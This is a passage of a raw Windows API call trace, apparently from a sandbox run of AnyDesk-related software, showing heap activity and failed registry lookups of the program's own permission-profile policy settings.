(HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13218 [0190.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6a8, cbMultiByte=-1, lpWideCharStr=0xe13218, cchWideChar=8 | out: lpWideCharStr="removed") returned 8 [0190.246] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x40) returned 0xe104c8 [0190.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0190.246] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x22) returned 0xe32f88 [0190.246] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed5c, cbMultiByte=-1, lpWideCharStr=0xe32f88, cchWideChar=17 | out: lpWideCharStr="_scam_protection") returned 17 [0190.247] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f88 | out: hHeap=0x3b0000) returned 1 [0190.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12c58 [0190.247] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6d8, cbMultiByte=-1, lpWideCharStr=0xe12c58, cchWideChar=40 | out: lpWideCharStr="ad.security.permission_profiles.define.") returned 40 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021d0 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02e00 [0190.247] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.247] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021d0 | out: hHeap=0x3b0000) returned 1 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02e20 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02e40 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02e60 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02e80 [0190.247] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02e20 | out: hHeap=0x3b0000) returned 1 [0190.247] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02e00 | out: hHeap=0x3b0000) returned 1 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021d0 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.247] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe32f88 [0190.248] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021d0 | out: hHeap=0x3b0000) returned 1 [0190.248] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33048 [0190.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02e00 [0190.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33138 [0190.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33168 [0190.248] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0190.248] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f88 | out: hHeap=0x3b0000) returned 1 [0190.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021d0 [0190.248] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0190.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021d0 | out: hHeap=0x3b0000) returned 1 [0190.249] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11438 [0190.249] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02e20 [0190.249] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11500 [0190.249] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11528 [0190.249] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.298] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021d0 [0190.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe14c40 [0190.299] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021d0 | out: hHeap=0x3b0000) returned 1 [0190.299] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11438 [0190.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x18) returned 0xe02ea0 [0190.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11550 [0190.299] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11578 [0190.299] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.299] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.299] GetCurrentProcess () returned 0xffffffff [0190.299] GetProcessId (Process=0xffffffff) returned 0x994 [0190.299] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324330 | out: pSessionId=0x324330) returned 1 [0190.299] GetCurrentProcess () returned 0xffffffff [0190.299] GetProcessId (Process=0xffffffff) returned 0x994 [0190.299] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324330 | out: pSessionId=0x324330) returned 1 [0190.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c58 | out: hHeap=0x3b0000) returned 1 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13278 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02ec0 [0190.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13260 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe32f88 [0190.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13290 [0190.300] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe14c40 [0190.300] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe132a8 [0190.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe11438 [0190.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fecf4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0190.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02ee0 [0190.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fecf4, cbMultiByte=-1, lpWideCharStr=0xe02ee0, cchWideChar=9 | out: lpWideCharStr="_default") returned 9 [0190.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02ec0 | out: hHeap=0x3b0000) returned 1 [0190.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13278 | out: hHeap=0x3b0000) returned 1 [0190.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02ee0 | out: hHeap=0x3b0000) returned 1 [0190.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.301] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe115a0 [0190.301] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed10, cbMultiByte=-1, lpWideCharStr=0xe115a0, cchWideChar=16 | out: lpWideCharStr="_screen_sharing") returned 16 [0190.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe14c40 | out: hHeap=0x3b0000) returned 1 [0190.301] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13290 | out: hHeap=0x3b0000) returned 1 [0190.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe115a0 | out: hHeap=0x3b0000) returned 1 [0190.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0190.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe115a0 [0190.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed00, cbMultiByte=-1, lpWideCharStr=0xe115a0, cchWideChar=13 | out: lpWideCharStr="_full_access") returned 13 [0190.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe132a8 | out: hHeap=0x3b0000) returned 1 [0190.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe115a0 | out: hHeap=0x3b0000) returned 1 [0190.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0190.302] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33048 [0190.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed20, cbMultiByte=-1, lpWideCharStr=0xe33048, cchWideChar=19 | out: lpWideCharStr="_unattended_access") returned 19 [0190.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe32f88 | out: hHeap=0x3b0000) returned 1 [0190.302] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13260 | out: hHeap=0x3b0000) returned 1 [0190.303] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33048 | out: hHeap=0x3b0000) returned 1 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x57) returned 0xe15de0 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed20, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 19 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x26) returned 0xe33048 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed20, cbMultiByte=-1, lpWideCharStr=0xe33048, cchWideChar=19 | out: lpWideCharStr="_unattended_access") returned 19 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13260 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x1a) returned 0xe115a0 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed00, cbMultiByte=-1, lpWideCharStr=0xe115a0, cchWideChar=13 | out: lpWideCharStr="_full_access") returned 13 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe132a8 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed10, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x20) returned 0xe11438 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fed10, cbMultiByte=-1, lpWideCharStr=0xe11438, cchWideChar=16 | out: lpWideCharStr="_screen_sharing") returned 16 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13290 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fecf4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02ee0 [0190.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fecf4, cbMultiByte=-1, lpWideCharStr=0xe02ee0, cchWideChar=9 | out: lpWideCharStr="_default") returned 9 [0190.303] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x10) returned 0xe13278 [0190.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe15de0 | out: hHeap=0x3b0000) returned 1 [0190.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02e80 | out: hHeap=0x3b0000) returned 1 [0190.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02e60 | out: hHeap=0x3b0000) returned 1 [0190.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02e40 | out: hHeap=0x3b0000) returned 1 [0190.304] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33168 | out: hHeap=0x3b0000) returned 1 [0190.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe33138 | out: hHeap=0x3b0000) returned 1 [0190.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02e00 | out: hHeap=0x3b0000) returned 1 [0190.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11528 | out: hHeap=0x3b0000) returned 1 [0190.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11500 | out: hHeap=0x3b0000) returned 1 [0190.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02e20 | out: hHeap=0x3b0000) returned 1 [0190.305] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11578 | out: hHeap=0x3b0000) returned 1 [0190.306] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11550 | out: hHeap=0x3b0000) returned 1 [0190.306] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02ea0 | out: hHeap=0x3b0000) returned 1 [0190.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021c0 [0190.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6d8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 40 [0190.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x50) returned 0xe12c58 [0190.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19fe6d8, cbMultiByte=-1, lpWideCharStr=0xe12c58, cchWideChar=40 | out: lpWideCharStr="ad.security.permission_profiles.define.") returned 40 [0190.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x60) returned 0xe30ef8 [0190.306] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe12c58 | out: hHeap=0x3b0000) returned 1 [0190.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0190.306] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x2) returned 0xe021d0 [0190.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x15d9e3d, cbMultiByte=-1, lpWideCharStr=0xe021d0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0190.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021c0 | out: hHeap=0x3b0000) returned 1 [0190.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02ea0 [0190.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe021d0 | out: hHeap=0x3b0000) returned 1 [0190.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe30ef8 | out: hHeap=0x3b0000) returned 1 [0190.307] RtlAllocateHeap (HeapHandle=0x3b0000, Flags=0x0, Size=0x12) returned 0xe02e20 [0190.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02ea0 | out: hHeap=0x3b0000) returned 1 [0190.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe02ee0 | out: hHeap=0x3b0000) returned 1 [0190.307] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13278 | out: hHeap=0x3b0000) returned 1 [0190.308] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe11438 | out: hHeap=0x3b0000) returned 1 [0190.308] HeapFree (in: hHeap=0x3b0000, dwFlags=0x0, lpMem=0xe13290 | out: hHeap=0x3b0000) returned 1 [0190.308] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.removed", lpReserved=0x0, lpType=0x324388, lpData=0x0, lpcbData=0x32438c*=0x0 | out: lpType=0x324388*=0x0, lpData=0x0, lpcbData=0x32438c*=0x0) returned 0x6 [0190.308] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x3243b4 | out: phkResult=0x3243b4*=0x0) returned 0x2 [0190.308] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.removed", lpReserved=0x0, lpType=0x324388, lpData=0x0, lpcbData=0x32438c*=0x0 | out: lpType=0x324388*=0x0, lpData=0x0, lpcbData=0x32438c*=0x0) returned 0x6 [0190.308] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x3243b4 | out: phkResult=0x3243b4*=0x0) returned 0x2 [0190.309] GetProcessId (Process=0xffffffff) returned 0x994 [0190.309] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324328 | out: pSessionId=0x324328) returned 1 [0190.309] GetCurrentProcess () returned 0xffffffff [0190.309] GetProcessId (Process=0xffffffff) returned 0x994 [0190.309] ProcessIdToSessionId (in: dwProcessId=0x994, pSessionId=0x324328 | out: pSessionId=0x324328) returned 1 [0190.310] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.pwd", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.310] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.310] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.pwd", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.310] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.310] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.pwd", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.310] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.310] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.pwd", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.310] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.311] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.salt", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.311] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.311] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.salt", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.311] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.311] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.salt", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.311] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.313] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.salt", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.313] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.313] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.313] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.permissions.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.313] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.314] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.permissions.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.314] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.314] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles.changeableinacceptwindow.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.314] RegQueryValueExW (in: hKey=0x0, lpValueName="security.permissionprofiles._default.changeableinacceptwindow.input", lpReserved=0x0, lpType=0x324318, lpData=0x0, lpcbData=0x32431c*=0x0 | out: lpType=0x324318*=0x0, lpData=0x0, lpcbData=0x32431c*=0x0) returned 0x6 [0190.314] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x324344 | out: phkResult=0x324344*=0x0) returned 0x2 [0190.314] RegQueryValueExW (in: hKey=0x0, 